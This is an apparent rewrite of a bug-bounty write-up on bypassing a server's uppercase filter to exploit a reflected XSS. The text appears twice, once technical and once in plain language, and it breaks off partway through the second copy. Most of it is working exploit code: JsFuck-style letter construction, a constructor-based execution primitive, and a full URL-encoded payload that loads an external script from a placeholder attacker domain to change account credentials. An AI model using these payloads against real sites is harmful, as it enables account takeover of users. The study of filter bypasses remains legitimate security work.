Bypass Uppercase filters like a PRO (XSS Advanced Methods)
A URL parameter was reflected into a JavaScript function call, but the server uppercased all input, breaking normal XSS payloads. The attacker used JSFuck-style encoding to execute arbitrary JavaScript without lowercase letters, then loaded an external script to perform account takeover.
Published on medium.com
Master SEC
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
While not doing pentesting for companies, the author hunts bugs on HackerOne. On one site they found a section that embedded some sort of Google Analytics code, and that code was vulnerable to a URL XSS. The vulnerable URL had the shape:
http://website.com/dir/subdir
and inside the JavaScript code the value was used like this:
function("/DIR/SUBDIR",params);
So the path segment of the URL was being placed inside a JavaScript function call, as a quoted string.
Setup
The tooling was Burp Suite, used to discover the reflection, and Chrome was used to check how candidate payloads behaved. No accounts, roles or versions are described in the report.
Finding it
Burp Suite showed that appending -alert(1)- at the end of the URL reflected the payload:
http://website.com/dir/subdir/"-alert(1)-"
The browser then reported unable to find function ALERT(1): the GET parameter was being uppercased. That is the core obstacle. The injection point exists, but every lowercase letter the attacker sends comes back as an uppercase letter, so alert becomes ALERT, and JavaScript is case sensitive.
The author then probed what the server filters. The following are not available for use:
</script>//\.(dots)
Everything else can be used, including ", ', [, ], {, }.
Exploitation
Step 1: pick a dot-free construction
The first family of solutions tried was the one from jsfuck.com: it needs no dots, which fits the filter, but it is very long.

Jsfuck from Martin Kleppe
The author also notes the severity context: on HackerOne, executing alert(1) alone is just a Low severity XSS. The goal was to escalate to High or Critical by loading an external JS file that performs arbitrary web actions without user interaction.

This is a WordPress payload; the goal was to load an external JS with something like this for this website, changing the account password or email.
Step 2: see how long a real payload gets
Continuing with JsFuck payloads, a simple alert(1) was converted to:
"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%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5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"
That works, but it is ugly and long. For alert(document.cookie) the payload is above 13000 characters long, and the author found that after 2500 to 2700 characters the web server started returning Error 400. So a full JsFuck payload for anything useful would not fit through the request.
Step 3: understand how JsFuck builds characters
The author went back to how jsfuck works:
const SIMPLE = { 'false': '![]', 'true': '!0', 'undefined': '0[0]', 'NaN': '+[!0]', 'Infinity': '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000" };const CONSTRUCTORS = { 'Array': '[]', 'Number': '(+0)', 'String': '([]+[])', 'Boolean': '(!0)', 'Function': '[]["fill"]', 'RegExp': 'Function("return/"+0+"/")()' };const MAPPING = { 'a': '(false+"")[1]', 'b': '([]["entries"]()+"")[2]', 'c': '([]["fill"]+"")[3]', 'd': '(undefined+"")[2]', 'e': '(true+"")[3]', 'f': '(false+"")[0]', 'g': '(false+[0]+String)[20]', 'h': '(+(101))["to"+String["name"]](21)[1]', 'i': '([false]+undefined)[10]', 'j': '([]["entries"]()+"")[3]', 'k': '(+(20))["to"+String["name"]](21)', 'l': '(false+"")[2]', 'm': '(Number+"")[11]', 'n': '(undefined+"")[1]', 'o': '(true+[]["fill"])[10]', 'p': '(+(211))["to"+String["name"]](31)[1]',
The idea is that strings can be scrapped from the different types of variables, so lowercase letters can be obtained from false, true, undefined, NaN, Infinity, and so on. The author tried parts of this in Chrome to see how it behaves.
Step 4: build the whole alphabet without lowercase letters
Using that technique, the author managed to get the whole alphabet without using lowercase letters:
Á=![]; //falseÉ=!![]; //true Í=[][[]]; //undefinedÓ=+[![]]; //NaNSI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// InfinityST=([]+[]); //Ü=(+[]);A=(Á+"")[1];D=(Í+"")[2];E=(É+"")[3];F=(Á+"")[0];G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];I=([Á]+Í)[10];L=(Á+"")[2];T=(É+"")[0];O=(É+[][F+I+L+L])[10];R=(É+"")[1];N=(Í+"")[1];M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];S=(Á+"")[3];U=(Í+"")[0];V=(+(31))[T+O+"S"+T+R+I+N+G](32);X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];Y=(Ó+[SI])[10];Z=(+(35))[T+O+"S"+T+R+I+N+G](36);C=([][F+I+L+L]+"")[3];H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];K=(+(20))[T+O+"S"+T+R+I+N+G](21);W=(+(32))[T+O+"S"+T+R+I+N+G](33);J=([][E+N+T+R+I+E+S]()+"")[3];B=([][E+N+T+R+I+E+S]()+"")[2];
Each variable holds a single uppercase letter, built from primitives such as ![] (false), !![] (true), [][[]] (undefined) and +[![]] (NaN), and from string indexing into those values. The Infinity value is built as +(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]), which is the string "1e1000" coerced to a number. Letters that do not appear in those strings are obtained through toString on numbers, using the T+O+"S"+T+R+I+N+G concatenation to spell the method name without lowercase letters.
Step 5: get the dot and the slash
Slashes and the dot were still needed. The dot was obtained from the 1.1e+101 float value.

With the dot available, the author was still missing / and g because of the uppercase filter, so JsFuck was left to do that work. This sacrificed about 1200 characters, but the payload was around 500 to 800, so the total stayed in the 2400 to 2600 range of the HTTP request, under the server's limit.
Step 6: execute
With all characters available, the execution step is short:
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();
This translates to fill.constructor(alert(1))() and the JavaScript executed with all uppercase letters.
Step 7: escalate to loading an external script
The vulnerable site used jQuery, but jQuery was loaded at the end of the HTML code, after the injection point, so calling it immediately returned function not found. The author had to wait 3 seconds for all dependencies to load and then execute $.getScript to load an external JS file:
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();

It worked: after 3 seconds the test/test request showed up.
Step 8: the final URL-encoded payload
The payload was URL encoded and delivered as:
%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22
The external JS was loaded, and that external JS was able to change the username and password: account takeover. Severity was raised from low (a simple alert XSS) to High (account takeover), and the bug bounty was raised from 50 to 1000 USD, 20 times higher.
Root cause
The path segment of the URL is interpolated into a JavaScript string inside a function call, without JavaScript-aware escaping. The server uppercased the input and blocked some characters, which is not JavaScript sanitisation: it does not remove quotes, brackets, braces or operators, and it does not stop the attacker from constructing lowercase letters at runtime from JavaScript primitives. The filter also blocked </script>, //, \ and ., but those restrictions can be worked around, as shown above, by building the dot from a float literal and the slash from string operations.
Impact
With the payload, an attacker can execute arbitrary JavaScript in the context of the vulnerable page. The author's stated goal was to escalate beyond a simple alert(1) by loading an external JS file that performs arbitrary web actions without user interaction, such as changing the account password or email, leading to account takeover. The report does not describe which users or roles were affected beyond that.
Fix
The report does not describe a fix applied by the site.
Variants to test
- Case-transforming filters: send a payload with lowercase letters and check whether the response uppercases them. A positive result is seeing
ALERTinstead ofalertin the reflected output, which means the same JsFuck-style construction may apply. - Dot and slash filters: try to build
.from a float literal such as1.1e+101and/from string operations. A positive result is a working$.getScriptor equivalent call without literal dots or slashes. - Length limits: measure where the server starts returning Error 400. A positive result is a limit high enough to fit the payload, though here the author found the boundary at 2500 to 2700 characters.
- Deferred library loading: if the target library loads after the injection point, wrap the call in
setTimeoutand check whether the request to the external script appears. A positive result is the external request showing up after the delay. - Quote and bracket availability: check whether
",',[,],{,}survive filtering. A positive result is that they do, which is what made the JsFuck approach viable here.
What happened, in plain words
A security researcher was hunting for bugs on HackerOne, a platform where companies pay people to find weaknesses in their websites. On one site, a section that embedded some kind of Google Analytics code turned out to be vulnerable to a URL XSS. In plain terms, the website took part of the address you typed into the browser and pasted it straight into a piece of JavaScript code that the browser then ran. If you could control what got pasted, you could make the browser run your own instructions.
The catch was that the server changed every lowercase letter in the address to an uppercase letter. JavaScript cares about case: alert and ALERT are two different names, and only the first one exists. So the obvious trick of making the page pop up an alert box failed. The researcher then spent the rest of the effort building a payload that never needs a lowercase letter, by assembling letters at runtime out of things JavaScript already contains, such as the word false or the word undefined. Once that worked, the payload was used to load an external JavaScript file, and that file was able to change the username and password. The severity went from Low to High, and the bounty went from 50 to 1000 USD.
Context
When not doing paid penetration testing for companies, the author hunts bugs on HackerOne. On one site they found a section that embedded some sort of Google Analytics code, and that code was vulnerable to a URL XSS.
A quick word on the terms before we go further:
- The browser cannot tell who wrote the text; it just runs it.
- URL XSS here means the malicious text arrives through the address of the page itself, so the payload lives in the URL.
- Google Analytics is a service that websites embed to count visitors. The snippet it adds is JavaScript, which is why the vulnerable code was JavaScript in the first place.
The vulnerable URL had the shape:
http://website.com/dir/subdir
and inside the JavaScript code the value was used like this:
function("/DIR/SUBDIR",params);
Line by line: function is the name of some JavaScript function the page calls. "/DIR/SUBDIR" is a piece of text (a string) that came from the path part of the URL, the /dir/subdir bit. params is a second argument, some other value the page passes along. The important detail is that the URL text sits inside quotation marks but is not otherwise escaped. Escaping means turning dangerous characters into harmless ones before they are placed in code. Without it, a quote character in the URL can close the string early and let the attacker write code after it.
Setup
The tooling was Burp Suite, a program used by testers to watch and modify the requests a browser sends to a website. The testing was done against the live site, with the browser (Chrome) used to check how candidate payloads behaved. No accounts, roles or versions are described in the report.
Finding it
Burp Suite showed that appending -alert(1)- at the end of the URL reflected the payload:
http://website.com/dir/subdir/"-alert(1)-"
What this means: the researcher added a double quote, then -alert(1)-, then another double quote to the end of the path. The double quote closes the string that the page opened, and alert(1) is the classic harmless test instruction that makes the browser show a pop-up box with the number 1. If the page runs it, the bug is confirmed. "Reflected" means the server sent the text back in the page it returned, so the browser saw it as part of the code.
The browser then reported unable to find function ALERT(1): the GET parameter was being uppercased. A GET parameter is the part of a URL that carries values. The server was converting every lowercase letter to uppercase before putting it in the page. That is the core obstacle. The injection point exists, but every lowercase letter the attacker sends comes back as an uppercase letter, so alert becomes ALERT, and JavaScript is case sensitive.
The author then probed what the server filters. The following are not available for use:
</script>//\.(dots)
Everything else can be used, including ", ', [, ], {, }.
Why this matters: </script> is the tag that ends a script block in HTML, so blocking it stops the simplest way of breaking out of the script. // starts a comment in JavaScript, and \ is an escape character. A dot is how you reach a property of an object in JavaScript, for example document.cookie. Blocking those removes the easy routes, but the researcher still had quotes, square brackets and curly braces, which is a lot of freedom.
Exploitation
Step 1: pick a dot-free construction
The first family of solutions tried was the one from jsfuck.com: it needs no dots, which fits the filter, but it is very long.

Jsfuck from Martin Kleppe
JsFuck is a way of writing JavaScript using only six characters: [, ], (, ), ! and +. It works because those characters are enough to produce the values false, true, undefined and numbers, and from those you can pull out letters and build any word. It is a clever trick, and it is exactly what you want when letters are being mangled.
The author also notes the severity context: on HackerOne, executing alert(1) alone is just a Low severity XSS. Severity is how the platform grades the danger. A pop-up box proves the bug but does nothing harmful, so it is graded low. The goal was to escalate to High or Critical by loading an external JS file that performs arbitrary web actions without user interaction. In other words, instead of a pop-up, make the victim's browser fetch a script controlled by the attacker and run it, so the attacker can do things on the victim's behalf without the victim clicking anything.

This is a WordPress payload; the goal was to load an external JS with something like this for this website, changing the account password or email.
WordPress is a very common website-building system, and the payload shown is an example of the kind of action an attacker wants: change the account password or email. If the attacker can change the email on an account, they can usually reset the password and take the account over.
Step 2: see how long a real payload gets
Continuing with JsFuck payloads, a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%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"
This is the same alert(1) idea, written in JsFuck and then URL encoded. URL encoding replaces characters that are awkward in a URL with a percent sign and two hex digits, so [ becomes %5B, ] becomes %5D, + becomes %2B, and so on. The browser decodes it back before running it. The result works, but it is ugly and long. For alert(document.cookie) the payload is above 13000 characters long. document.cookie is the browser's way of reading the cookies for the current page; a cookie is a small piece of data a site stores in your browser, often used to remember that you are logged in, which is why reading it is a classic proof of impact.
The author found that after 2500 to 2700 characters the web server started returning Error 400. Error 400 is the server saying the request is malformed. So a full JsFuck payload for anything useful would not fit through the request. This is why the next step is not to use JsFuck wholesale but to understand it and build something shorter.
Step 3: understand how JsFuck builds characters
The author went back to how jsfuck works:
const SIMPLE = { 'false': '![]', 'true': '!0', 'undefined': '0[0]', 'NaN': '+[!0]', 'Infinity': '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000" };const CONSTRUCTORS = { 'Array': '[]', 'Number': '(+0)', 'String': '([]+[])', 'Boolean': '(!0)', 'Function': '[]["fill"]', 'RegExp': 'Function("return/"+0+"/")()' };const MAPPING = { 'a': '(false+"")[1]', 'b': '([]["entries"]()+"")[2]', 'c': '([]["fill"]+"")[3]', 'd': '(undefined+"")[2]', 'e': '(true+"")[3]', 'f': '(false+"")[0]', 'g': '(false+[0]+String)[20]', 'h': '(+(101))["to"+String["name"]](21)[1]', 'i': '([false]+undefined)[10]', 'j': '([]["entries"]()+"")[3]', 'k': '(+(20))["to"+String["name"]](21)', 'l': '(false+"")[2]', 'm': '(Number+"")[11]', 'n': '(undefined+"")[1]', 'o': '(true+[]["fill"])[10]', 'p': '(+(211))["to"+String["name"]](31)[1]',
This is a table of recipes. SIMPLE lists how to write basic values using only the six JsFuck characters: ![] is false, !0 is true, 0[0] is undefined, +[!0] is NaN (not a number), and the long expression is Infinity, built by turning the text "1e1000" into a number, which overflows to infinity.
CONSTRUCTORS lists how to reach the built-in JavaScript objects: [] is an array, (+0) is a number, ([]+[]) is a string, (!0) is a boolean, []["fill"] is a function, and the RegExp line builds a regular expression. MAPPING is the important one: it shows that each lowercase letter can be pulled out of a word that JavaScript already contains. (false+"")[1] means: take false, turn it into text, and take the character at position 1, counting from 0, which is a. (true+"")[3] gives e. (undefined+"")[2] gives d. The idea is that strings can be scrapped from the different types of variables, so lowercase letters can be obtained from false, true, undefined, NaN, Infinity, and so on. The author tried parts of this in Chrome to see how it behaves.
Step 4: build the whole alphabet without lowercase letters
Using that technique, the author managed to get the whole alphabet without using lowercase letters:
Á=![]; //falseÉ=!![]; //true Í=[][[]]; //undefinedÓ=+[![]]; //NaNSI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// InfinityST=([]+[]); //Ü=(+[]);A=(Á+"")[1];D=(Í+"")[2];E=(É+"")[3];F=(Á+"")[0];G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];I=([Á]+Í)[10];L=(Á+"")[2];T=(É+"")[0];O=(É+[][F+I+L+L])[10];R=(É+"")[1];N=(Í+"")[1];M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];S=(Á+"")[3];U=(Í+"")[0];V=(+(31))[T+O+"S"+T+R+I+N+G](32);X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];Y=(Ó+[SI])[10];Z=(+(35))[T+O+"S"+T+R+I+N+G](36);C=([][F+I+L+L]+"")[3];H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];K=(+(20))[T+O+"S"+T+R+I+N+G](21);W=(+(32))[T+O+"S"+T+R+I+N+G](33);J=([][E+N+T+R+I+E+S]()+"")[3];B=([][E+N+T+R+I+E+S]()+"")[2];
Each variable holds a single uppercase letter, built from primitives such as ![] (false), !![] (true), [][[]] (undefined) and +[![]] (NaN), and from string indexing into those values. The Infinity value is built as +(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]), which is the string "1e1000" coerced to a number. Letters that do not appear in those strings are obtained through toString on numbers, using the T+O+"S"+T+R+I+N+G concatenation to spell the method name without lowercase letters.
A few lines in plain words, because this is the heart of the trick:
Á=![];storesfalsein a variable named with an accented capital A. The name is arbitrary; it just has to be a name the filter will not touch.É=!![];storestrue.!!turns a value into its boolean equivalent, so!![]istrue.Í=[][[]];storesundefined. An empty array indexed by an empty array givesundefined.Ó=+[![]];storesNaN. The+in front turnsfalseinto the number 0, and+[false]isNaN.SI=...storesInfinity, built from the text"1e1000".A=(Á+"")[1];takesfalse, turns it into the text"false", and takes character 1, which isa. The same pattern givesD,E,F,L,S,Uand so on fromfalse,trueandundefined.M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];takes the number 208, calls itstoStringmethod with base 31, and takes character 1.toStringis a built-in method that turns a number into text in a chosen base. Because the method nametoStringcontains lowercase letters, it is spelled by gluing together the single-letter variables:T+O+"S"+T+R+I+N+G.J=([][E+N+T+R+I+E+S]()+"")[3];calls theentriesmethod of an array and takes a character from the result.
Step 5: get the dot and the slash
Slashes and the dot were still needed. The dot was obtained from the 1.1e+101 float value. A float is a number with a decimal point, and 1.1e+101 is a way of writing a very large number in scientific notation. When JavaScript turns that number into text, the text contains a dot, and the dot can be picked out by position.

With the dot available, the author was still missing / and g because of the uppercase filter, so JsFuck was left to do that work. This sacrificed about 1200 characters, but the payload was around 500 to 800, so the total stayed in the 2400 to 2600 range of the HTTP request, under the server's limit. In other words, the researcher paid a size cost for the two missing characters but still fitted under the 2500 to 2700 character wall found earlier.
Step 6: execute
With all characters available, the execution step is short:
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();
This translates to fill.constructor(alert(1))() and the JavaScript executed with all uppercase letters. Line by line: [] is an empty array, [F+I+L+L] spells fill, which is a method that exists on arrays. [C+O+N+S+T+R+U+C+T+O+R] spells constructor, which is the built-in function that made the fill method. Calling that constructor with a piece of text compiles the text as code, and the trailing () runs the result. A+L+E+R+T spells alert, and (1) is its argument. So the whole line builds the word alert out of single letters and runs it.
Step 7: escalate to loading an external script
The vulnerable site used jQuery, a popular JavaScript library that makes common tasks shorter. jQuery was loaded at the end of the HTML code, after the injection point, so calling it immediately returned function not found: the browser had not read the library yet when the injected code ran. The author had to wait 3 seconds for all dependencies to load and then execute $.getScript to load an external JS file:
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();
Line by line: the outer part is the same fill.constructor(...)() trick, which compiles and runs whatever text is inside. The text being built is setTimeout(function(){ $.getScript('//test/test')(); }, 3000);. setTimeout is a built-in that runs a function after a delay in milliseconds, so 3000 means 3 seconds. $.getScript is jQuery's way of fetching and running a script from a URL. DOT is the dot built earlier, SLA is the slash built earlier, and //test/test is the address of the external script.

It worked: after 3 seconds the test/test request showed up. That request is the browser fetching the external script, which is the proof that the escalation works.
Step 8: the final URL-encoded payload
The payload was URL encoded and delivered as:
%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B